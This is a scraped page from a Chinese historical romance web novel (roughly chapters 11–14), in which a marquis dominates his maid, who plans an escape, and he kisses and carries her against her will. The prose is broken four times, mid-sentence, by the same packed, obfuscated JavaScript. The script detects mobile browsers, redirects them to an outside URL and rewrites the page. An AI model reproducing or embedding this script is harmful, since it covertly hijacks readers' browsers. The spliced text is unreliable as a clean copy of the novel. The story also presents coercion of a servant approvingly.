不知是因为有了心理准备还是怎么的,这次好像真刚才上次那么痛。 她不可思议地抬手摸了摸耳垂,一片干燥,竟然没有流血。 许是裴铉也知自己做的过分了,特意放了宁泠两天休息。 刚得了空的宁泠,就像去找念儿表达歉意,是她连累她无妄之灾。 她腿上的疼痛提醒着她不宜走动,她还是先去了念儿的房子。 远远的看见念儿的房门还打开着,宁泠脸上带笑地还未走近。 屋里人已经眼疾手快地关了门,留下讪讪尴尬的宁泠。 她沉默站了片刻后还是问道:“念儿,你在里面吗?” 里面久久没有回声,宁泠又继续问道。 终于传来回答:“宁姐姐,你是侯爷身边的红人。他不会拿你出气,可我们这些小丫鬟不一样啊,以后你别来找我了。” 宁泠攥紧了手心的五两银子:“对不起。” 接着屋里有人从门缝下塞了东西出来,宁泠低头一看。 正是那对珍珠耳坠。 里面传来念儿带着哭声的声音:“这耳坠我不配,就还给你了。” 宁泠将银子放在地上,拿走了耳坠,终究只能苦涩道:“好” 回来的路上碰见不少小丫鬟,以前必是大家相互问个好,如今后避之如猛兽般躲她。 宁泠一个人回了房间,抱着枕头蒙着被子打算大睡一觉。 就听见外面有敲门声,她起来一问竟然是禧福。 宁泠好奇问道:“禧福,你怎么来了?” 禧福尴尬地挠挠脑袋说道:“你别怪念儿,她就是小孩子脾气,等过几日就好了。” 宁泠只怪真正的罪魁祸首,她对着禧福说道:“放心,我不恼她,我还怕她生我气。” 宁泠起身给禧福倒了一杯水,见他一直站在门外,想邀请他进来喝杯水。 禧福连忙拒绝,宁泠一时间也反应过来他的想法。 大概是怕惹恼了裴铉,她也不再坚持。 禧福见气氛有些僵持,有无话找话闲聊道:“已是快到秋天的时节了,天气越发凉了。” 宁泠知道禧福负责给侍弄院内花草,浇水翻土的粗活,她问道:“冬日碰那冷水,也太冷了。” 禧福低叹一声:“是啊,所以我大概买双厚实的手套。” 宁泠点点,禧福又说:“只是采买的心太黑了,比外面买的翻了几倍。” 宁泠也跟着叹气:“只怪咱们不能出府。” 闲聊几句后,禧福就离开了。 宁泠休息的那几日都躲在房间里不曾出来,可过了两日的休息日,一切还是照旧了。 但是她小心翼翼地学着规矩,一切循规蹈矩,不敢有半点违背。 似乎裴铉也老实多了,不曾对她动手动脚。 休沐日的清晨,裴铉低头看着眼前低眉顺眼的宁泠,她面容白皙,一截小巧的下巴引人遐思。 她取来玄色织金线腰封,环住裴铉为她系上。 裴铉眉目舒展开,看来她还是学乖了。 玉脂色的耳坠上依旧带着那日他亲手穿戴的耳坠,他嘴唇轻勾:“估计你也没什么耳坠,等会我让王柏再给你送些过来。” 宁泠正要拒绝,到嘴边的话却咽了下去,乖巧地点点头:“好。” 裴铉爽朗一笑:“难得见你如此乖顺,天天与我置气,吃苦的还不是你?” 宁泠接着点头:“之前是奴婢刚进府邸,不懂规矩,还望侯爷多多海涵。” 这番话听起来十分妥当,裴铉忽地想起那日王柏过来说的话,他接着问道:“听说你想出府?” 宁泠正为裴铉系带子的手微顿,接着轻微摇头:“之前奴婢不懂事贪玩,想见识见识繁华。” 裴铉一双似是能够看穿人心的眼眸,扫视着她的面容,几息后他说道:“想出去游玩,是你这个年纪小娘子都喜欢的,但切莫有做逃奴的心思。” 说话间他抬手,他的指腹因着常年练剑,带着一层薄薄的茧子,轻轻摩挲着宁泠的耳垂处。 宁泠紧张着身躯轻颤,却也没有躲开。 她洁白的贝齿轻咬花瓣似的嘴唇答道:“奴婢万万不敢有这种心情,以后也不会再想着出府。” 裴铉闻言笑笑:“那里命你不许出门游玩了,今日有人恰巧邀我赴宴,你便跟着吧。” 宁泠抬起眼眸,面色踌蹴,犹豫不决。 裴铉依旧面色带笑逗道:“今日错过了,以后可不知道还要等多久才有机会。” 说着他就转身欲要离开,宁泠还傻傻愣在原地。 直到他快要走出内室,她才急急跟上。 裴铉内心暗笑,真是小女儿家的心思。 那人与裴铉相邀与盛安城内最大的一家酒楼,酒楼位于城内最为繁华之处,听说热闹非凡。 府邸距离酒楼尚且还有一段路程,裴铉身后跟着林韦德,他见宁泠跟着身后,眸色里闪过一丝诧异后又十分快的隐藏好。 几人到了府邸正门处,小厮立刻询问道:“侯爷,是否牵马过来?” 裴铉正要点头,又看了眼身后的宁泠问道:“可会骑马?” 宁泠小时候曾经学过骑马,可自从马背上摔下来后,再也不敢学。 闻言,她顿时吓得脸色煞白,语气急切:“奴婢不会。” 裴铉倚着柱子,看着自己的小婢女如此紧张,他语气遗憾道:“那可怎么办?” 宁泠本想回答走路去,可想想自己在盛安城内人生地不熟,再说裴铉那里是个愿意带麻烦精的热,于是她强颜欢笑道:“那奴婢不去了。” 说话间,她抬眸看了他的面色,见他上扬的嘴角已经收敛,她又绞尽脑汁地补了句:“奴婢在府里等侯爷归来。” 那即将阴沉下去的面色忽地展颜一笑,本就俊美异常的他,此事眉眼带笑,那份锋利的攻击性都稍稍渐弱,他笑着道:“怎得一副怨妇腔调?” 宁泠面色呆愣片刻后,红晕逐渐从耳际爬上,正要开口解释。 裴铉又说道:“不会骑马也无事,与我共乘一匹即可。” 跟在身后的林韦德默默地将视线移开。 宁泠连忙拒绝: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836541|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这不可。” 裴铉脸上仍旧挂着那副笑,可却透露着一副不好惹的模样:“有可不可?” “您是主子,我是奴婢,有违尊卑。”宁泠察言观色地回答。 “真的吗?”裴铉锋利的视线盯着她,一字一句问道。 宁泠顿感头皮发麻,像是回到了那天穿耳眼的时候,四周的氛围都沉寂了,连众人的呼吸声都消失了。 “侯爷,您是不是就是不想带我去,专门逗弄奴?”宁泠面色委屈,一双水亮的眼眸如一泓泉水清澈,睫毛如扇,水灵灵地勾着裴铉的视线。 他轻咳嗓音,林韦德此时适时说道:“侯爷,再晚点怕会误了时辰。” “去牵马车来。”裴铉吩咐道。 宁泠紧张地暗暗舒了一口气,总觉得如此虚以为蛇也不是长久之计。 宁泠本以为只有自己坐马车,估计裴铉依旧骑马前往。 那知他的身影也跟着进入,原本宽阔的空间一下就逼仄,压迫感愈发加重。 林韦德坐在马夫的位置驾马。 宁泠有些局促不安,紧张地垂头低眸。 裴铉轻车熟路地抽出一处红漆木抽屉,从里面拿出一个攒盒。 他修长的手指揭开盒盖子,里面摆放的是各类糕点,他将糕点往宁泠前方一推:“吃吧。” 这些糕点在马车内散发着甜蜜的香味,宁泠却觉得于礼不和。 那家的婢女能有如此待遇,她依旧垂眸低着头:“奴婢不饿,谢侯爷。” 那双带着笑意的眼眸接受到拒绝后就冷淡了些,其实宁泠还没来得及吃早饭,肚子早就饥肠辘辘,却还是强撑。 他好意被拒绝心里不舒畅,刚要发作。 忽然静谧的马车内,传来一阵阵咕噜咕噜的响声。 宁泠的脸色像是被煮熟透了的红虾,双手紧紧捂住肚子,脑袋埋地更低了,活像个鸵鸟似的。 裴铉轻笑一声,心里那点不虞又瞬间烟消云散了:“真是嘴硬活受罪。” 宁泠尴尬地不知道如何接话是好,就见他那洁净的手指捻着一块糕点凑到她嘴边。 “都这样了还不吃?”裴铉挑眉盯着她,这小婢女真好玩。 宁泠生怕等会肚子又传来响声,犹犹豫豫还是轻启朱唇含住了那块芙蓉糕。 裴铉的眼眸轻眯,没有说话。 宁泠着糕点,裴铉似乎找到了投喂的快乐,不厌其烦地挑选着糕点,还时不时问道:“味道如何?” 宁泠嘴里都是糕点,不方便张嘴说话,只能乖巧地点点头。 她的脸颊被嘴里的糕点塞满,鼓鼓地像是一只小松鼠,一双眼眸亮闪闪。 “问你那种都是好吃,给你吃真是牛嚼牡丹了。”裴铉拿过一旁干净的手帕闲坐在哪儿试擦着手指。 宁泠心里不服气,可畏于强权,又不能开口辩驳,只能有点气恼地将脑袋扭向其他方向。 那车内遮挡的帘子随着马车的走动而轻微晃动,时不时送来一阵凉爽的风。 外面的街道边很是热闹,络绎不绝的吆喝声,到处都是自由的味道。 宁泠一时间失神盯着外面,连裴铉说话都没听见。 直到听见他低沉的嗓音:“宁泠?” 她才忽然回神:“侯爷刚才说什么?” 裴铉懒得与她计较,只是不紧不慢地睨她一眼继续说道:“待会去见的人,看着一副文质彬彬的长相,其实可不是个正人君子,你可莫被他骗了。” 宁泠觉得有些莫名其妙,她能被他骗什么?她的奴籍还在裴铉这里。 12. 第 12 章 宁泠正要问道为何,就听见林韦德吁的一声,接着说道:“主子到了。” 裴铉嗯了一声就直接起身出去了,宁泠只得跟上。 马车停留在酒楼外面,酒楼四角处张挂着精致的灯笼,外面几个小厮身上穿的料子都是小富之家才穿的起。酒楼有三层楼,外表奢华富贵。 裴铉明显是这里的常客了,小厮立马殷勤过来:“侯爷,忠国公已经在上好包厢等你了。” 他利索地递上下马车的小板凳,然后接过林韦德手里的马鞭。 裴铉随意地扔了些散银子给他:“今日他倒起得早。” 裴铉下了马车后,宁泠也跟在他身后下了马车,一旁的小厮恭敬地带着三人进去。 外面大堂处坐着不少散客,都能看出是富贵人家的人,酒楼里虽是热闹,但却不拥挤。 小厮尽心地提醒着几人贵人注意楼梯,楼梯呈旋转形状,在上方居高临下,一切尽收眼底。 一直走至顶楼三层才停下,接着继续向走廊处前往。 人虽还没到包厢,可是外面走廊处已经传出阵阵琴音,悦耳动听。 果然小厮在哪间包厢停下,轻轻叩门,才听见里面一声:“进。” 听声音似乎是个中年男子。 小厮推开门,弯腰请众人进去。 裴铉率先踏入,宁泠和林韦德跟在其后,入门处有一大屏风,将屋后遮挡着严严实实。 “忠国公,真是有雅兴,一大早便来听曲。”裴铉人未至,声先至。 向着内室走了几步,宁泠跟着身后才看清全景。 里面坐着个年岁约莫四十多岁的男子,穿着一身书生长衫,蓄着长须,面相看起来温和。身边还跟着一位女子,两人举止亲密,她正在给他倒茶。 侧后方珠帘遮挡处坐着一位女子,正在哪儿弹琴,身姿袅袅。 裴书伦听闻声音抬起眼眸,入眼依旧是晋阳侯那副英俊地近乎妖孽的长相,身后却是跟着一位小娘子。 小娘子水汪汪的眼眸打量着四周,刚好与他的视线接触,立刻垂眸低头。 她一身水蓝色束腰长裙,腰身可堪盈盈一握,他瞬间觉得身旁的音娘失了滋味。 “难得有铉侄来迟的时候,原来是美色误人。”他笑着抚了抚胡须。 宁泠脚步一顿,将自己身影隐藏着裴铉身后。 裴铉笑笑并不言语,两人行礼问好后,他掀掀袍子坐下。 对面的音娘也偷偷打量眼前这位晋阳侯,民间都传言他容貌昳丽,如今看来传言不虚。 裴铉感受到了音娘炙热的视线,掀掀眼皮子说道:“忠国公,你的美妾似乎想给你找顶帽子了。” 音娘忽地听到这话,面色大变,小心地看了眼自家主子的脸色。 忠国公却并不声音,哈哈哈大笑:“铉侄这副好颜色,世间那个女子不喜欢?音娘一时看痴也是人之常情。” 音娘悬着的心稍稍放下。 裴铉闻言也嘴唇微勾,忽地将视线转至宁泠身上问道:“是吗?” 宁泠一时间不知该如何答话了,正当她愁眉不展时。 忠国公又继续说道:“铉侄身边这位小娘子是谁?你可不能尚未娶妻便纳了美妾。” 裴铉修长的手指无聊地敲敲上好的桌面,一只手撑着下巴对忠国公笑脸盈盈说道:“就是她揪出叔父安插在我府上的探子的。” 忠国公裴书伦端起茶杯的手微顿,脸上神情不变:“大早上的铉侄怎么吃了酒?胡言乱语?” 裴铉并不恼,继续回答:“可惜了那张远,再硬的骨头落在我手上,也就那样。” 裴书伦握着茶杯的手微微收紧,气氛似乎都低沉了些,只余那流畅的琴音。 “我不知铉侄在说什么。”裴书伦的神情很好隐藏好,一把揽过身旁的音娘,“凡事可要讲证据,就是陛下再偏信于你,也不可能颠倒黑白。” “叔父教训得是。”裴铉并不反驳。 不知是因心中不畅,还是见了新颜色。看着身边惹人怜爱的音娘,裴书伦觉得长相艳俗,登不得大雅之堂。 再打量对面亭亭玉立的小娘子,那双清澈透亮的眼眸,真是人间极品。 裴铉嗤笑一声:“怎么叔父也认为天凉了,也想送我一顶帽子?” 自己的小心思这么快就被瞧清楚了,裴书伦面子上也有些过意不去,轻咳了声:“铉侄这张嘴怎么还是如此不饶人。” 裴铉把玩着手掌处的茶蛊:“那是侄儿误会叔父了?” 裴书伦并不回答,心里却有了思量:“音娘,你来给侯爷唱几首你拿手的好曲。” 裴铉慵懒地身形靠在木椅处,似笑非笑看着眼前两人。 音娘先是抬眸看看自家主子,接着强忍下心中激动情绪,柔声答:“好。” 她伴随着悦耳动听的琴音唱着小曲,声音如黄鹂般动听,那声音时而娇媚时而清灵。 站在裴铉身后的宁泠都忍不住一时入迷了。 几曲完毕后,裴书伦满意地抚了抚胡须:“铉侄以为如何?” 裴铉百无聊赖地撑着额角回答:“尚可。” 音娘失望地低头,走回了裴书伦身边。 裴书伦:“铉侄身边应是没有如音娘一般声音动人,又会伺候人的娇美娘。” 裴铉懒洋洋回答:“有啊。” 将裴书伦噎得一顿,继续说道:“不如叔父将音娘送给铉侄如何?” 宁泠心里一惊,明眼就能看出音娘是伺候这位忠国公,如今竟然这般轻而易举地将她送出去。 她偷偷瞥见音娘的神情,却似乎是满怀期待。 裴铉饶有兴趣地打量着裴书伦和音娘:“叔父向来可没那么大方,免费白白送给侄儿?” 裴书伦早就准备好了等着这话:“俗话说,礼尚往来嘛。” 他说话间的视线落在宁泠身上,宁泠心脏狂跳,似乎预感到了他接下来的话语。 果然与她预料一致:“不如铉侄将你身边之位娘子孝顺给叔父?” 宁泠只觉得一阵恶心,面色惨白,一双圆亮的眼眸直勾勾盯着裴铉。 裴铉却没有马上回答。 宁泠更加着急了,情急之下用莹白的手指轻轻扯了扯裴铉的衣袖。 他才开口说道:“叔父的算盘可真好,我可不喜欢玩这些。” 裴铉轻飘飘地看了眼两人,淡淡吐出两个字:“脏。” 音娘一眼眼眸马上蓄满了泪珠,美人含泪也是美极了。 裴铉却不为所动。 宁泠偷偷舒了一口气,裴书伦却有些不依不饶:“铉侄要怎么才愿意成全叔父?” 裴铉眼眸闪过阴鸷,这老东西,真是什么都喜欢和他抢,这块肉他都还没吃到嘴里,还想孝敬给他?做梦! “叔父好人妻,别人可是清清白白的小娘子,叔父可别污了别人清白。”裴铉毫不留情地直接揭穿。 这话说得裴书伦一时接不上话,但也却是兴致淡了些 “林韦德?”裴铉接着说道。 “在。”林韦德从身后迈出一步。 “带宁泠出去,我有事情与叔父商谈。”这小丫鬟早就心心念念惦记着出门游玩,如今刚好遂了她的意。 宁泠早就不想待下去,如今有了机会,身后似乎又恶灵相追,急急忙忙地出去了。 小婢女的身姿纤细,急急忙忙的样子还有些可爱。 林韦德带着宁泠出了酒楼,看着外面缓缓升起的太阳。 宁泠深吸一口气,忽然看裴铉不似之前那么厌恶了。 “宁姑娘,你想去那逛逛?”林韦德询问道。 宁泠想起之前禧福的苦恼,又打量了下四周,心里有了主意:“我想去布庄看看。” 林韦德对盛安城内很是熟悉,很快就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836542|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着她到了一处有几个大门面处的布庄。 知道要出来宁泠特意多带了钱财,她去布庄看了些布料,布庄里面不仅有各种各样的布匹,还有成衣锦帕等成品。 接待客人的基本都是娘子些,一位中年妇女带笑问道:“小娘子想要买些什么?” “想买双上好的手套,再买些布料。”宁泠想了想回答,她可以再买点料子给自己做一身衣裳,自己以前穿的衣裳,不知近日是吃太多了,还是怎么的胸口处微微紧了。 许娘子平日接待不知接待多少人,眼前这位姑娘那副耳坠就不是凡品,更别说外面还站着那样魁梧的保镖了,必定是大户人家。 她热情地说道:“外面人多嘈杂,小娘子不如在屋内坐坐,我将东西拿来供你挑选?” 宁泠看了眼人来人往的大堂,先跑至门口处告知林韦德。 这些涉及太多女客,他一个外男也不方便进去。 索性和其他外满坐在外面一起等候。 内室的屋子处摆放着几张桌子,桌子上还插着鲜花,里面坐着稀稀松松几位女客。 许娘子抱来几双手套和估摸着适合小娘子的布匹。 旁边桌子坐着一个夫人身后站立着两个侍女,皆穿戴不俗。 那位夫人正挑选着布料,几大摞颜色花纹不一的布料堆满了几乎密密麻麻堆满桌子。 忽然听见她一声惊呼。 引得宁泠和徐娘子皆转头望去,原来是那位夫人不慎之间打翻了茶碗。 她身后两位侍女连忙拿着手帕为她擦拭。 但是一团明显的淡黄色水渍还是显而易见的衣服上,还是在胸口处。 许娘子怕得罪客人,也赶紧过来帮忙。 擦拭几番后,效果还是不佳。 许娘子开口道:“是我们摆放茶碗的位置不对,夫人莫急,不如换上咱们这儿的成衣?” 夫人身旁的侍女也开口道:“夫人估计是擦不干净,幸好马车上还有一套备用衣服,不如奴婢去来了?” 她们这样的大户人家,衣裳都是府里的绣娘专门缝制,那里会用外面的成衣,不知多少人穿过? 那位夫人年龄大约三十来岁,长得大气端庄。 此刻她眉头轻蹙,看起来心情不佳,对着许娘子点了些布匹:“这些都送到我府上,我的马车停在那处?” 许娘子连忙答道:“停在西跨院那儿。” 夫人的脸色更加不虞,语气带着嫌弃:“怎么停在那儿?” 许娘子脸上堆着笑:“近来客人多,而且都喜欢停在动跨院。” 她身边的侍女机灵说道:“不如奴婢去取了夫人衣裳,让马夫在东跨院门口等咱们,等会夫人您去后面换好衣服后,咱们直接从东跨院的东门离开,毕竟大门这儿挤得很。” 夫人的脸色稍缓,点点头,那位侍女就快步离开了。 许娘子连忙叫人将这位夫人带到暖阁休息。 等许娘子处理完事情,她又回到宁泠这处:“小娘子,可选好了?” 宁泠心思微动问道:“咱们这儿原来不知一处大门,我也觉得人多嘈杂得很。” 许娘子:“那是自然,来咱们布庄的达官贵人可多了,她们那里愿意挤。都是直接驾马车进咱们的后院处,也方便停马车,下次小娘子这般也能方便些。” 宁泠点点头:“甚好。” 接着她面露疑色:“但这西跨院是怎么回事?” 刚才那位夫人明显厌恶,说不定内有隐情。 许娘子虽然年纪较大了,也是连一红,悄声说道:“也没什么,就西跨院的小门出去一条街就是花柳街,贵人们都有些嫌弃罢了。” 宁泠懂了,她的心思活络起来。布庄人流众多,林韦德也不方便紧跟着她,现在偷偷从后院溜走,估计他也不知。 心思所及,宁泠忍不住偷偷观察了一眼林韦德。 13. 第 13 章 她的视线刚递过去,就与林韦德的视线对上。 而他的眼眸紧紧盯在内室处,视线如鹰一锋利敏锐。 宁泠的视线下移,刚好落在他手上的护腕处,一对深蓝色的护腕,边角的针线已经稍稍炸开,颜色也轻微泛白。 身旁的许娘子热情地推销着货物:“咱们这副手套的皮子可是上好的货,小娘子可还看看护腕,护膝之类的,咱们店可是应有尽有。” 对上林韦德疑惑的眼神询问后,宁泠笑笑回答:“再拿一对深蓝色护腕,不要有花纹的。” 她不愿打草惊蛇,拿副护腕等会打消林韦德的疑心。逃跑一时还得细细筹谋,虽然外出带了不少银子,可也没有把全部家当带上,而且对这盛安城一点也不熟悉。 从那租车码头在那都一无所知,若是随便找个地方落脚,估计马上就会被逮住。 宁泠心里有了盘算,就有了下一步计划,不欲在布庄浪费时间:“我就要这两样东西,结账。” 许娘子颇感遗憾,本以为是个大主顾没想到就买了这点。 但她也不随意得罪人,利索地包好东西。 宁泠买好东西后出,直接将那副护腕递给林韦德:“林大哥,你试试合适不?” 林韦德脸色一红,想到刚才她的视线打量,原来是为这个。 他摆摆手道:“我有这个,不用姑娘破费了。” 宁泠依旧将那对护腕拿在手上:“林大哥,你瞧瞧你这对护腕,边边角角都已经起毛了,针线也散了,再用也不太合适了。再说我买的这对护腕是款式最简单,也是最便宜的,你不用过意不去,等会我还想逛逛其他地方,还得劳烦你带路。” 话说道这个份上,林韦德也不好拒绝,再看了看自己带着的这对护腕,已经发旧了,在侯爷身边当差还是要注意些体面,而且他看了眼宁泠手中的护腕,的确便宜。 他一个男人五大三粗,平日里未曾注意这些。 他双手接过护腕,眼尖地看见宁泠还买了一双手套,看那手套的形状尺寸应是男人的。 林韦德帮宁泠拿着这些东西问道:“姑娘这双手套是不是买大了?” 宁泠摇摇头答道:“是送人的,应该合适。” 林韦德不动声色地记下了这句话。 谈话间两人出了布庄,林韦德问道:“姑娘,还想逛逛那儿?” 宁泠有心想要熟悉布庄附近:“咱们就四周闲逛。” 林韦德抱着东西点点头,跟在她身后。 一路上宁泠假装留意四处,走了片刻后,终于到了西跨院附近。 因为那花柳街的莺歌燕舞声即使不进去,光路过也能听清楚。 林韦德一脸难色地跟在身后,想着怎么劝说宁泠离开。 宁泠已经大致摸清楚地形,她也怕林韦德对这地方印象太深。 故而她只是望了一眼就离开了。 宁泠状似思考道:“林大哥,你知道附近那儿有首饰店嘛?” 她说话打乱林韦德的注意力。 林韦德虽然混迹盛安城内,但对这些还真没有什么印象。 他认真思考一番,尴尬地挠挠头道:“这个我还真不知道,不如我去问问路。” “不必,也不是买什么要紧的地方,只是想逛逛。”宁泠道。 两人在往回走的路上,还真遇见了一家首饰店。 宁泠便进去随意逛逛,免得林韦德怀疑刚才的话。 进店后的店主很热情地迎了上来,宁泠随意地看着。 看到了一对绒花,款式很是特别,在府里都未曾见到她们带过。 明明只是用丝线等物制成的东西,却是栩栩如画,颜色鲜丽,十分好看。 宁泠问了价格,觉得还是比较划算。 宁泠选了些石榴花,海棠花。 店主是个妆容精致的娘子,一时间见到宁泠如此精致的美人。 她看得都轻微失了神,她将那朵海棠花戴在宁泠的发髻后,又眉头轻蹙。 宁泠看镜子的自己,妍丽娇艳,脸上不好意思地嫣红。 那位店主轻微沉思片刻,取来一罐口脂,为宁泠涂抹装扮上。 刚才的海棠花明亮娇艳,再加上现在樱桃唇色,更是相得益彰。 衬得本就俏丽的脸蛋,更添几分娇媚之色。 “这款口脂的颜色很衬姑娘肤色,不如一起买了?”店主说道。 宁泠看了眼镜中地自己有些心动,但还是放弃了。她还要存银子,以后出了府用银子的地方还多得是,该省得还是得省。 等店主将东西装好结账后,宁泠就离开了。 林韦德还是和刚才一样守在门口,一晃眼看见有人出来,他的视线对上那张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836543|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他也眼神一晃,还从没见过她如此装扮。 见自己想要买的都买到了,宁泠提议回去等裴铉。 等两人回到酒楼时,宁泠有些踌躇是否进去,她怕又和裴书伦见面。 林韦德似是知道她的担心,说道:“不如姑娘去马车上等候,我先上去瞧一瞧。” 宁泠点点头,松了一口气。 林韦德上去后只见裴铉一人坐于包厢中。 裴铉见人回来问道:“她人呢?” 林韦德实话实话:“宁姑娘不想见到忠国公,所以在马车里面等待。” 裴铉嗯了一声,又接着问道:“都出去逛了什么地方,发现什么异常之处没?” 林韦德回答:“逛得都是女儿家喜欢的首庄店,布庄,都在属下视线范围之内。” 裴铉眼尖地发现了林韦德手腕上新换护腕:“你新买的?” 林韦德只能硬着头皮道:“是宁姑娘在布庄随手买的。” 裴铉轻哼一声,他就知道林韦德一个大男人发现不了这些。 林韦德又吞吞吐吐道:“宁姑娘还买了一双上好皮货的手套,听说是送人的。” 裴铉的嘴角上扬了些,眉眼带了点笑意:“还算她知情识趣,经过今日这一遭,也该知道所遇良人。” 林韦德:“主子已经确定张远是忠国公的人了?” “几乎肯定,那只老狐狸真是藏不住尾巴。”今日专门赴宴,裴铉就是为了探探他的虚实,其实那嘴硬的张远还真是什么都没透露。 林韦德又说道:“不过今日一遭后,主子也可以放心宁姑娘不是忠国公的人。” 若宁泠是忠国公的人,他自然不会那般迫不及待地想要回去,毕竟在侯爷打探消息有大用处,他往日里的换妾也往各官员府邸安插了不少眼线。 裴铉的心情越发好了:“我府里也该有位通房了。” 说完话后,他大步流星地离开了。 裴铉揭开马车的帘子,就见宁泠斜躺在坐榻上,一副美人酣眠的美景。 她的衣裳有些凌乱,领口处散开了,锁骨处清晰可见。 头上带着一朵艳丽的海棠花,脸色酡红娇俏,樱桃红亮的嘴唇。 他如今已经清楚知道宁泠不是他人的探子,裴铉不再有所顾忌,他将肆无忌惮的吻落在那肖想已久的红唇上。 14. 第 14 章 在睡梦中睡得香甜的宁泠,感受到湿热的唇贴于她唇边。 她睡得迷迷糊糊,有些烦恼有人吵她美梦,她的身子往后撤。 宁泠身后躺着的地方紧紧贴着马车壁,无路可退。 裴铉眸色渐深,见吻了会她还不醒,他用尖锐的齿轻轻摩挲着她娇嫩的唇瓣。 轻微的刺痛感传来,宁泠的意识慢慢回笼,极强压迫感的阴影笼罩在她的上方。 她呆滞片刻后,她的眼睫如蝶翼轻颤,接着终于反应过来。 宁泠伸出那双洁白如玉的手,用力地推搡反抗裴铉的身躯。 她的力气那是裴铉的对手,上方处的男子纹丝不动。 宁泠一双灵动地眼眸噙着泪瞪着裴铉,裴铉用有力的手指擒住她的下巴。 迫使她不得不抬起下巴,加深这个吻。 他想撬开她的牙关,偏偏她像一个宁死不屈的死刑犯,绝不妥协。 片刻后裴铉的唇离开,他的那双眼眸越发晦暗难懂。 宁泠面色嫣红,刚上好的口脂此刻消失着干干净净。 她的眼眸沁出点点星光,却不肯轻易落下。 裴铉轻笑一声:“下次可要记得闭眼睛。” 宁泠没有答话,将脸庞侧开,不想搭理他。 裴铉俊眉微挑,原以为经过今日的场面能够唬住下,杀杀她的倔脾气,没想到还真是一头倔驴。 无妨,只要手段强硬,能要的都能得到。 裴铉一边思考,一边牵住她的手放在掌心把玩。她的手掌很小,他一只手就可轻而易举地握住她两只手。 宁泠心惊胆战,生怕他开门见山直接命令她做了通房。 不知是因为心情紧张,还是葵水将至,她总感觉小腹处坠痛得厉害,时不时阵痛。 片刻时间后回了侯府,林韦德在外面小声的提醒道。 裴铉嗯了一声,抬眸一双眼尾上挑的眼眸紧紧盯着她。 宁泠不知所以,想着先下马车逃离这个地方,她刚刚起身,小腹处的刺痛就传来,她被的身子一颤又跌回了榻上。 裴铉那双眼眸的光芒越盛,他喉结滚动问道:“腿软了?” 宁泠思绪停顿了片刻,才知道他的意思,刚想要摇头拒绝。 就见裴铉高大的身躯又靠了过来,他直接将宁泠搂在怀中出了马车。 马车外的林韦德并不惊讶,控制好自己的眼神不乱瞧。 忽然的腾空感吓得宁泠先是条件反应地搂住他的脖颈,又反应过来地挣扎。 裴铉一手揽着她纤细的腰肢,一手抄过她的膝盖,她身下的裙摆如朵朵鲜花盛开。 “你快放我下来。”宁泠声音着急。 裴铉懒洋洋地拖腔拿调:“不放。” 宁泠想了下他那性子吃软不吃硬,语气放软:“侯爷人来人往,你抱着奴婢有损你的英名。” 裴铉抬起眼皮子对视她:“我在我自己府上抱着我的女人,谁敢说三道四?” 宁泠心跳地更加厉害,挣扎的力度更大。 “等会你自己摔疼了,掉眼泪可没用。”裴铉嗤笑说道。 侯府这个时辰临近午饭时间,忙碌做工的下人们虽然不多,可是偶尔路过的一两个也是神色惊讶的盯一眼,又自觉低头。 宁泠宁愿裴铉将自己丢下去,哪怕摔得再痛,她也绝不后悔。 她的手臂早早就离开了他的脖颈,推着他坚硬的胸膛处。 她不知轻重轻重地到处反抗,一双轻柔的小手像只灵活的鱼儿四处游走。 他忍得辛苦,偏偏她还无所察觉,更加得寸进尺。 裴铉用一只宽大的手掌捏着她的细腰:“别闹了。” 此刻就算是宁泠再迟钝,也反应发现现在的裴铉有点不对劲。 他的身躯微微发烫,平日里清冷如玉的面色染了点红晕,那双眼眸却是亮得吓人。 宁泠心知是反抗不了他的决定,垂头丧气地低头。 时不时路过的人,都偷偷打量侯爷怀里抱着的是何人。 宁泠干脆像只鸵鸟将自己的脑袋埋入他宽阔的胸膛处,不肯再说话。 怀中的人儿终于安分了些,裴铉心情稍好。 走了一路,他都不曾见她抬头换一口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836544|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 